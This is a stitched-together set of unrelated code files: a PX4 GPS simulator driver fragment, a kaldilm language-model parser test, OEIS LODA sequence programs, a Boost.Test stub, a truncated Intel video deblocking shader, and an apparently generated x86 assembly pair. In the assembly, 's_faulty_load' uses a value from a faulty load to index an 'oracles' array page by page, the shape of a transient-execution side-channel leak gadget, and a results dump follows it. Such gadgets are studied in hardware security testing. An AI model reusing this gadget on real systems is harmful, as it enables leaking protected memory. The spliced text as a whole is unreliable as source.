(double)_report_gps_pos.vel_d_m_s); PX4_INFO("eph: %.2fm, epv: %.2fm", (double)_report_gps_pos.eph, (double)_report_gps_pos.epv); //PX4_INFO("rate position: \t%6.2f Hz", (double)_Helper->get_position_update_rate()); //PX4_INFO("rate velocity: \t%6.2f Hz", (double)_Helper->get_velocity_update_rate()); PX4_INFO("rate publication:\t%6.2f Hz", (double)_rate); } usleep(100000); } /** * Local functions in support of the shell command. */ namespace gpssim { GPSSIM *g_dev = nullptr; void start(const char *uart_path, bool fake_gps, bool enable_sat_info); void stop(); void test(); void reset(); void info(); void usage(const char *reason); /** * Start the driver. */ void start(const char *uart_path, bool fake_gps, bool enable_sat_info) { DevHandle h; /* create the driver */ g_dev = new GPSSIM(uart_path, fake_gps, enable_sat_info); if (g_dev == nullptr) { goto fail; } if (OK != g_dev->init()) { goto fail; } /* set the poll rate to default, starts automatic data collection */ DevMgr::getHandle(GPSSIM_DEVICE_PATH, h); if (!h.isValid()) { PX4_ERR("getHandle failed: %s", GPSSIM_DEVICE_PATH); goto fail; } return; fail: if (g_dev != nullptr) { delete g_dev; g_dev = nullptr; } PX4_ERR("start failed"); } /** * Stop the driver. */ void stop() { delete g_dev; g_dev = nullptr; } /** * Perform some basic functional tests on the driver; * make sure we can collect data from the sensor in polled * and automatic modes. */ void test() { PX4_INFO("PASS"); } /** * Reset the driver. */ void reset() { DevHandle h; DevMgr::getHandle(GPSSIM_DEVICE_PATH, h); if (!h.isValid()) { PX4_ERR("failed "); } if (h.ioctl(SENSORIOCRESET, 0) < 0) { PX4_ERR("reset failed"); } } /** * Print the status of the driver. */ void info() { if (g_dev == nullptr) { PX4_ERR("gpssim not running"); return; } g_dev->print_info(); } void usage(const char *reason) { if (reason) { PX4_WARN("%s", reason); } PX4_INFO("usage:"); PX4_INFO("gpssim {start|stop|test|reset|status}"); PX4_INFO(" [-d /dev/ttyS0-n][-f (for enabling fake)][-s (to enable sat info)]"); } } // namespace int gpssim_main(int argc, char *argv[]) { /* set to default */ const char *device_name = GPS_DEFAULT_UART_PORT; bool fake_gps = false; bool enable_sat_info = false; if (argc < 2) { gpssim::usage("not enough arguments supplied"); return 1; } /* * Start/load the driver. */ if (!strcmp(argv[1], "start")) { if (g_dev != nullptr) { PX4_WARN("already started"); return 0; } if (argc > 3) { if (!strcmp(argv[2], "-d")) { device_name = argv[3]; } } /* Detect fake gps option */ for (int i = 2; i < argc; i++) { if (!strcmp(argv[i], "-f")) { fake_gps = true; } } /* Detect sat info option */ for (int i = 2; i < argc; i++) { if (!strcmp(argv[i], "-s")) { enable_sat_info = true; } } gpssim::start(device_name, fake_gps, enable_sat_info); return 0; } /* The following need gpssim running. */ if (g_dev == nullptr) { PX4_WARN("not running"); return 1; } if (!strcmp(argv[1], "stop")) { gpssim::stop(); } /* * Test the driver/device. */ if (!strcmp(argv[1], "test")) { gpssim::test(); } /* * Reset the driver. */ if (!strcmp(argv[1], "reset")) { gpssim::reset(); } /* * Print driver status. */ if (!strcmp(argv[1], "status")) { gpssim::info(); } return 0; }
// kaldilm/csrc/arpa_file_parser_test.cc // // This file is copied/modified from // https://github.com/kaldi-asr/kaldi/blob/master/src/lm/arpa-file-parser-test.cc // // Copyright 2016 Smart Action Company LLC (kkm) // #include "kaldilm/csrc/arpa_file_parser.h" #ifdef NDEBUG #undef NDEBUG #include <cassert> #define NDEBUG #endif #include <iomanip> #include <iostream> #include <sstream> #include <string> #include <vector> #include "fst/fstlib.h" #include "kaldilm/csrc/log.h" namespace kaldilm { namespace { inline double Log(double x) { return log(x); } inline float Log(float x) { return logf(x); } /// return abs(a - b) <= relative_tolerance * (abs(a)+abs(b)). static inline bool ApproxEqual(float a, float b, float relative_tolerance = 0.001) { // a==b handles infinities. if (a == b) return true; float diff = std::abs(a - b); if (diff == std::numeric_limits<float>::infinity() || diff != diff) return false; // diff is +inf or nan. return (diff <= relative_tolerance * (std::abs(a) + std::abs(b))); } constexpr int kMaxOrder = 3; struct NGramTestData { int32 line_number; float logprob; int32 words[kMaxOrder]; float backoff; }; std::ostream &operator<<(std::ostream &os, const NGramTestData &data) { std::ios::fmtflags saved_state(os.flags()); os << std::fixed << std::setprecision(6); os << data.logprob << ' '; for (int i = 0; i < kMaxOrder; ++i) os << data.words[i] << ' '; os << data.backoff << " // Line " << data.line_number; os.flags(saved_state); return os; } // This does not own the array pointer, and uset to simplify passing expected // result to TestableArpaFileParser::Verify. template <class T> struct CountedArray { template <size_t N> CountedArray(T (&array)[N]) : array(array), count(N) {} const T *array; const size_t count; }; template <class T, size_t N> inline CountedArray<T> MakeCountedArray(T (&array)[N]) { return CountedArray<T>(array); } class TestableArpaFileParser : public ArpaFileParser { public: TestableArpaFileParser(const ArpaParseOptions &options, fst::SymbolTable *symbols) : ArpaFileParser(options, symbols), header_available_(false), read_complete_(false), last_order_(0) {} void Validate(CountedArray<int32> counts, CountedArray<NGramTestData> ngrams); private: // ArpaFileParser overrides. virtual void HeaderAvailable(); virtual void ConsumeNGram(const NGram &ngram); virtual void ReadComplete(); bool header_available_; bool read_complete_; int32 last_order_; std::vector<NGramTestData> ngrams_; }; void TestableArpaFileParser::HeaderAvailable() { assert(!header_available_); assert(!read_complete_); header_available_ = true; assert(NgramCounts().size() <= kMaxOrder); } void TestableArpaFileParser::ConsumeNGram(const NGram &ngram) { assert(header_available_); assert(!read_complete_); assert(ngram.words.size() <= NgramCounts().size()); assert(ngram.words.size() >= last_order_); last_order_ = ngram.words.size(); NGramTestData entry = {0}; entry.line_number = LineNumber(); entry.logprob = ngram.logprob; entry.backoff = ngram.backoff; std::copy(ngram.words.begin(), ngram.words.end(), entry.words); ngrams_.push_back(entry); } void TestableArpaFileParser::ReadComplete() { assert(header_available_); assert(!read_complete_); read_complete_ = true; } bool CompareNgrams(const NGramTestData &actual, NGramTestData expected) { expected.logprob *= Log(10.0); expected.backoff *= Log(10.0); if (actual.line_number != expected.line_number || !std::equal(actual.words, actual.words + kMaxOrder, expected.words) || !ApproxEqual(actual.logprob, expected.logprob) || !ApproxEqual(actual.backoff, expected.backoff)) { KALDILM_WARN << "Actual n-gram [" << actual << "] differs from expected [" << expected << "]"; return false; } return true; } void TestableArpaFileParser::Validate( CountedArray<int32> expect_counts, CountedArray<NGramTestData> expect_ngrams) { // This needs better disagnostics probably. assert(NgramCounts().size() == expect_counts.count); assert(std::equal(NgramCounts().begin(), NgramCounts().end(), expect_counts.array)); assert(ngrams_.size() == expect_ngrams.count); assert(std::equal(ngrams_.begin(), ngrams_.end(), expect_ngrams.array, CompareNgrams)); } // Read integer LM (no symbols) with log base conversion. void ReadIntegerLmLogconvExpectSuccess() { KALDILM_LOG << "ReadIntegerLmLogconvExpectSuccess()"; static std::string integer_lm = "\ \\data\\\n\ ngram 1=4\n\ ngram 2=2\n\ ngram 3=2\n\ \n\ \\1-grams:\n\ -5.2\t4\t-3.3\n\ -3.4\t5\n\ 0\t1\t-2.5\n\ -4.3\t2\n\ \n\ \\2-grams:\n\ -1.4\t4 5\t-3.2\n\ -1.3\t1 4\t-4.2\n\ \n\ \\3-grams:\n\ -0.3\t1 4 5\n\ -0.2\t4 5 2\n\ \n\ \\end\\"; int32 expect_counts[] = {4, 2, 2}; NGramTestData expect_ngrams[] = { {7, -5.2, {4, 0, 0}, -3.3}, {8, -3.4, {5, 0, 0}, 0.0}, {9, 0.0, {1, 0, 0}, -2.5}, {10, -4.3, {2, 0, 0}, 0.0}, {13, -1.4, {4, 5, 0}, -3.2}, {14, -1.3, {1, 4, 0}, -4.2}, {17, -0.3, {1, 4, 5}, 0.0}, {18, -0.2, {4, 5, 2}, 0.0}}; ArpaParseOptions options; options.bos_symbol = 1; options.eos_symbol = 2; TestableArpaFileParser parser(options, NULL); std::istringstream stm(integer_lm, std::ios_base::in); parser.Read(stm); parser.Validate(MakeCountedArray(expect_counts), MakeCountedArray(expect_ngrams)); } // \xCE\xB2 = UTF-8 for Greek beta, to churn some UTF-8 cranks. static std::string symbolic_lm = "\ We also allow random text coming before the \\data\\\n\ section marker. Even this is ok:\n\ \n\ \\1-grams:\n\ \n\ and should be ignored before the \\data\\ marker\n\ is seen alone by itself on a line.\n\ \n\ \\data\\\n\ ngram 1=4\n\ ngram 2=2\n\ ngram 3=2\n\ \n\ \\1-grams: \n\ -5.2\ta\t-3.3\n\ -3.4\t\xCE\xB2\n\ 0.0\t<s>\t-2.5\n\ -4.3\t</s>\n\ \n\ \\2-grams:\t\n\ -1.5\ta \xCE\xB2\t-3.2\n\ -1.3\t<s> a\t-4.2\n\ \n\ \\3-grams:\n\ -0.3\t<s> a \xCE\xB2\n\ -0.2\t<s> a </s>\n\ \\end\\"; // Symbol table that is created with predefined test symbols, "a" but no "b". class TestSymbolTable : public fst::SymbolTable { public: TestSymbolTable() { AddSymbol("<eps>", 0); AddSymbol("<s>", 1); AddSymbol("</s>", 2); AddSymbol("<unk>", 3); AddSymbol("a", 4); } }; // Full expected result shared between ReadSymbolicLmNoOovImpl and // ReadSymbolicLmWithOovAddToSymbols(). NGramTestData expect_symbolic_full[] = { {15, -5.2, {4, 0, 0}, -3.3}, {16, -3.4, {5, 0, 0}, 0.0}, {17, 0.0, {1, 0, 0}, -2.5}, {18, -4.3, {2, 0, 0}, 0.0}, {21, -1.5, {4, 5, 0}, -3.2}, {22, -1.3, {1, 4, 0}, -4.2}, {25, -0.3, {1, 4, 5}, 0.0}, {26, -0.2, {1, 4, 2}, 0.0}}; // This is run with all possible oov setting and yields same result. void ReadSymbolicLmNoOovImpl(ArpaParseOptions::OovHandling oov) { int32 expect_counts[] = {4, 2, 2}; TestSymbolTable symbols; symbols.AddSymbol("\xCE\xB2", 5); ArpaParseOptions options; options.bos_symbol = 1; options.eos_symbol = 2; options.unk_symbol = 3; options.oov_handling = oov; TestableArpaFileParser parser(options, &symbols); std::istringstream stm(symbolic_lm, std::ios_base::in); parser.Read(stm); parser.Validate(MakeCountedArray(expect_counts), MakeCountedArray(expect_symbolic_full)); assert(symbols.NumSymbols() == 6); } void ReadSymbolicLmNoOovTests() { KALDILM_LOG << "ReadSymbolicLmNoOovImpl(kRaiseError)"; ReadSymbolicLmNoOovImpl(ArpaParseOptions::kRaiseError); KALDILM_LOG << "ReadSymbolicLmNoOovImpl(kAddToSymbols)"; ReadSymbolicLmNoOovImpl(ArpaParseOptions::kAddToSymbols); KALDILM_LOG << "ReadSymbolicLmNoOovImpl(kReplaceWithUnk)"; ReadSymbolicLmNoOovImpl(ArpaParseOptions::kReplaceWithUnk); KALDILM_LOG << "ReadSymbolicLmNoOovImpl(kSkipNGram)"; ReadSymbolicLmNoOovImpl(ArpaParseOptions::kSkipNGram); } // This is run with all possible oov setting and yields same result. void ReadSymbolicLmWithOovImpl(ArpaParseOptions::OovHandling oov, CountedArray<NGramTestData> expect_ngrams, fst::SymbolTable *symbols) { int32 expect_counts[] = {4, 2, 2}; ArpaParseOptions options; options.bos_symbol = 1; options.eos_symbol = 2; options.unk_symbol = 3; options.oov_handling = oov; TestableArpaFileParser parser(options, symbols); std::istringstream stm(symbolic_lm, std::ios_base::in); parser.Read(stm); parser.Validate(MakeCountedArray(expect_counts), expect_ngrams); } void ReadSymbolicLmWithOovAddToSymbols() { TestSymbolTable symbols; ReadSymbolicLmWithOovImpl(ArpaParseOptions::kAddToSymbols, MakeCountedArray(expect_symbolic_full), &symbols); assert(symbols.NumSymbols() == 6); assert(symbols.Find("\xCE\xB2") == 5); } void ReadSymbolicLmWithOovReplaceWithUnk() { NGramTestData expect_symbolic_unk_b[] = { {15, -5.2, {4, 0, 0}, -3.3}, {16, -3.4, {3, 0, 0}, 0.0}, {17, 0.0, {1, 0, 0}, -2.5}, {18, -4.3, {2, 0, 0}, 0.0}, {21, -1.5, {4, 3, 0}, -3.2}, {22, -1.3, {1, 4, 0}, -4.2}, {25, -0.3, {1, 4, 3}, 0.0}, {26, -0.2, {1, 4, 2}, 0.0}}; TestSymbolTable symbols; ReadSymbolicLmWithOovImpl(ArpaParseOptions::kReplaceWithUnk, MakeCountedArray(expect_symbolic_unk_b), &symbols); assert(symbols.NumSymbols() == 5); } void ReadSymbolicLmWithOovSkipNGram() { NGramTestData expect_symbolic_no_b[] = {{15, -5.2, {4, 0, 0}, -3.3}, {17, 0.0, {1, 0, 0}, -2.5}, {18, -4.3, {2, 0, 0}, 0.0}, {22, -1.3, {1, 4, 0}, -4.2}, {26, -0.2, {1, 4, 2}, 0.0}}; TestSymbolTable symbols; ReadSymbolicLmWithOovImpl(ArpaParseOptions::kSkipNGram, MakeCountedArray(expect_symbolic_no_b), &symbols); assert(symbols.NumSymbols() == 5); } void ReadSymbolicLmWithOovTests() { KALDILM_LOG << "ReadSymbolicLmWithOovAddToSymbols()"; ReadSymbolicLmWithOovAddToSymbols(); KALDILM_LOG << "ReadSymbolicLmWithOovReplaceWithUnk()"; ReadSymbolicLmWithOovReplaceWithUnk(); KALDILM_LOG << "ReadSymbolicLmWithOovSkipNGram()"; ReadSymbolicLmWithOovSkipNGram(); } } // namespace } // namespace kaldilm int main(int argc, char *argv[]) { kaldilm::ReadIntegerLmLogconvExpectSuccess(); kaldilm::ReadSymbolicLmNoOovTests(); kaldilm::ReadSymbolicLmWithOovTests(); }
; A021225: Decimal expansion of 1/221. ; Submitted by Jamie Morken(m2) ; 0,0,4,5,2,4,8,8,6,8,7,7,8,2,8,0,5,4,2,9,8,6,4,2,5,3,3,9,3,6,6,5,1,5,8,3,7,1,0,4,0,7,2,3,9,8,1,9,0,0,4,5,2,4,8,8,6,8,7,7,8,2,8,0,5,4,2,9,8,6,4,2,5,3,3,9,3,6,6,5,1,5,8,3,7,1,0,4,0,7,2,3,9,8,1,9,0,0,4 seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1. div $0,884 mod $0,10
; A047394: Numbers that are congruent to {0, 1, 6} mod 8. ; 0,1,6,8,9,14,16,17,22,24,25,30,32,33,38,40,41,46,48,49,54,56,57,62,64,65,70,72,73,78,80,81,86,88,89,94,96,97,102,104,105,110,112,113,118,120,121,126,128,129,134,136,137,142,144,145,150,152,153,158,160,161,166,168,169,174,176,177,182,184,185,190,192,193,198,200,201,206,208,209,214,216,217,222,224,225,230,232,233,238,240,241,246,248,249,254,256,257,262,264 mul $0,8 sub $0,1 div $0,3 mov $2,-1 pow $2,$0 trn $0,$2
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x4ce4, %rsi nop nop nop nop xor %rbp, %rbp movw $0x6162, (%rsi) nop nop nop xor %r10, %r10 lea addresses_normal_ht+0x169e4, %rsi lea addresses_A_ht+0x12764, %rdi nop nop nop inc %r8 mov $48, %rcx rep movsq nop nop sub %rcx, %rcx lea addresses_D_ht+0x103e4, %r8 nop cmp $8007, %r10 movb $0x61, (%r8) nop nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x163b4, %r11 and $25032, %r10 movl $0x61626364, (%r11) nop nop nop nop dec %rsi lea addresses_D_ht+0x1bc4, %rbp nop nop nop inc %r10 mov (%rbp), %r11d nop nop nop xor $40658, %rsi lea addresses_WC_ht+0x14c98, %rsi lea addresses_A_ht+0x9ba4, %rdi nop nop nop dec %r9 mov $116, %rcx rep movsl cmp %rdi, %rdi lea addresses_normal_ht+0xbdd0, %rsi nop nop cmp %r11, %r11 mov (%rsi), %r9 nop nop nop xor $62470, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_normal+0x19304, %rsi lea addresses_normal+0xbe4, %rdi nop nop sub %r14, %r14 mov $106, %rcx rep movsw nop nop nop sub $7864, %rsi // Store lea addresses_WC+0x3fe4, %rsi nop nop xor $61930, %r14 mov $0x5152535455565758, %r13 movq %r13, %xmm7 vmovups %ymm7, (%rsi) cmp %rsi, %rsi // Store lea addresses_A+0x10e44, %rdi cmp $11217, %rdx movl $0x51525354, (%rdi) nop nop nop add %r13, %r13 // Faulty Load lea addresses_normal+0xbe4, %r14 nop nop nop add %r13, %r13 vmovups (%r14), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx lea oracles, %rsi and $0xff, %rcx shlq $12, %rcx mov (%rsi,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}} {'src': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
; A191968: a(n) = Fibonacci(8n+5) mod Fibonacci(8n+1). ; 29,1364,64079,3010349,141422324,6643838879,312119004989,14662949395604,688846502588399,32361122672259149,1520283919093591604,71420983074726546239,3355265920593054081629,157626077284798815290324,7405070366464951264563599,347880681146567910619198829,16342986943522226847837781364,767772505664398093937756525279,36068964779283188188226718906749,1694473572120645446752718032091924,79604188924891052809189520789413679 mul $0,2 add $0,1 mul $0,2 add $0,1 seq $0,2878 ; Bisection of Lucas sequence: a(n) = L(2*n+1).
// (C) Copyright Gennadiy Rozental 2005-2010. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/test for the library home page. // // File : $RCSfile$ // // Version : $Revision$ // // Description : forwarding source // *************************************************************************** #define BOOST_TEST_SOURCE #include <boost/test/impl/unit_test_monitor.ipp> // EOF
/* * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ ////////// AVC LDB filter vertical Mbaff UV /////////////////////////////////////////////////////// // // This filter code prepares the src data and control data for ILDB filtering on all vertical edges of UV. // // It sssumes the data for vertical de-blocking is already transposed. // // Chroma: // // +-------+-------+ // | | | // | | | // | | | // +-------+-------+ // | | | // | | | // | | | // +-------+-------+ // // V0 V1 // Edge Edge // ///////////////////////////////////////////////////////////////////////////// #if defined(_DEBUG) mov (1) EntrySignatureC:w 0xBBBC:w #endif //=============== Chroma deblocking ================ //---------- Deblock U external left edge ---------- and.z.f0.0 (1) null:w r[ECM_AddrReg, BitFlags]:ub FilterLeftMbEdgeFlag:w // Check for FilterLeftMbEdgeFlag cmp.z.f0.1 (1) null:w VertEdgePattern:uw LEFT_FIELD_CUR_FRAME:w // Get Luma maskA and maskB shr (16) TempRow0(0)<1> r[ECM_AddrReg, wEdgeCntlMapA_ExtLeftVert0]<0;1,0>:uw RRampW(0) shr (16) TempRow1(0)<1> r[ECM_AddrReg, wEdgeCntlMapB_ExtLeftVert0]<0;1,0>:uw RRampW(0) (f0.0) jmpi BYPASS_V0_UV // Do not deblock Left ext edge cmp.z.f0.0 (1) null:w VertEdgePattern:uw LEFT_FRAME_CUR_FIELD:w (-f0.1) jmpi V0_U_NEXT1 // Jump if not LEFT_FIELD_CUR_FRAME //----- For LEFT_FIELD_CUR_FRAME // Extract UV MaskA and MaskB from every other 2 bits of Y masks and.nz.f0.0 (8) null:w TempRow0(0)<4;2,1> 1:w and.nz.f0.1 (8) null:w TempRow1(0)<4;2,1> 1:w // For FieldModeLeftMbFlag=1 && FieldModeCurrentMbFlag=0 mov (4) Mbaff_ALPHA(0,0)<2> r[ECM_AddrReg, bAlphaLeft0_Cb]<0;1,0>:ub { NoDDClr } mov (4) Mbaff_ALPHA(0,1)<2> r[ECM_AddrReg, bAlphaLeft1_Cb]<0;1,0>:ub { NoDDChk } mov (4) Mbaff_BETA(0,0)<2> r[ECM_AddrReg, bBetaLeft0_Cb]<0;1,0>:ub { NoDDClr } mov (4) Mbaff_BETA(0,1)<2> r[ECM_AddrReg, bBetaLeft1_Cb]<0;1,0>:ub { NoDDChk } mov (4) Mbaff_TC0(0,0)<2> r[ECM_AddrReg, bTc0_v00_0_Cb]<4;4,1>:ub { NoDDClr } mov (4) Mbaff_TC0(0,1)<2> r[ECM_AddrReg, bTc0_v00_1_Cb]<4;4,1>:ub { NoDDChk } jmpi V0_U_NEXT3 V0_U_NEXT1: (-f0.0) jmpi V0_U_NEXT2 // Jump if not LEFT_FRAME_CUR_FIELD //----- For LEFT_FRAME_CUR_FIELD // Extract UV MaskA and MaskB from every other bit of Y masks and.nz.f0.0 (8) null:w TempRow0(0)<16;8,2> 1:w and.nz.f0.1 (8) null:w TempRow1(0)<16;8,2> 1:w // For FieldModeLeftMbFlag=0 && FieldModeCurrentMbFlag=1 mov (4) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaLeft0_Cb]<0;1,0>:ub { NoDDClr } mov (4) Mbaff_ALPHA(0,4)<1> r[ECM_AddrReg, bAlphaLeft1_Cb]<0;1,0>:ub { NoDDChk } mov (4) Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaLeft0_Cb]<0;1,0>:ub { NoDDClr } mov (4) Mbaff_BETA(0,4)<1> r[ECM_AddrReg, bBetaLeft1_Cb]<0;1,0>:ub { NoDDChk } mov (4) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v00_0_Cb]<4;4,1>:ub { NoDDClr } mov (4) Mbaff_TC0(0,4)<1> r[ECM_AddrReg, bTc0_v00_1_Cb]<4;4,1>:ub { NoDDChk } jmpi V0_U_NEXT3 V0_U_NEXT2: // Extract UV MaskA and MaskB from every other bit of Y masks and.nz.f0.0 (8) null:w TempRow0(0)<16;8,2> 1:w and.nz.f0.1 (8) null:w TempRow1(0)<16;8,2> 1:w // Both are frames or fields mov (8) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaLeft0_Cb]<0;1,0>:ub mov (8) Mbaff_BETA(0,0)<1> r[ECM_AddrReg, bBetaLeft0_Cb]<0;1,0>:ub mov (8) Mbaff_TC0(0,0)<1> r[ECM_AddrReg, bTc0_v00_0_Cb]<1;2,0>:ub V0_U_NEXT3: // p1 = Prev MB U row 0 // p0 = Prev MB U row 1 // q0 = Cur MB U row 0 // q1 = Cur MB U row 1 mov (1) P_AddrReg:w PREV_MB_U_BASE:w { NoDDClr } mov (1) Q_AddrReg:w SRC_MB_U_BASE:w { NoDDChk } // Store UV MaskA and MaskB mov (2) MaskA<1>:uw f0.0<2;2,1>:uw CALL(FILTER_UV_MBAFF, 1) //----------------------------------------------- //---------- Deblock V external left edge ---------- // No change to MaskA and MaskB cmp.z.f0.0 (4) null:w VertEdgePattern:uw LEFT_FIELD_CUR_FRAME:w cmp.z.f0.1 (4) null:w VertEdgePattern:uw LEFT_FRAME_CUR_FIELD:w // both are frame or field mov (8) Mbaff_ALPHA(0,0)<1> r[ECM_AddrReg, bAlphaLeft0_Cr]<0;1,0>:ub mov (8) 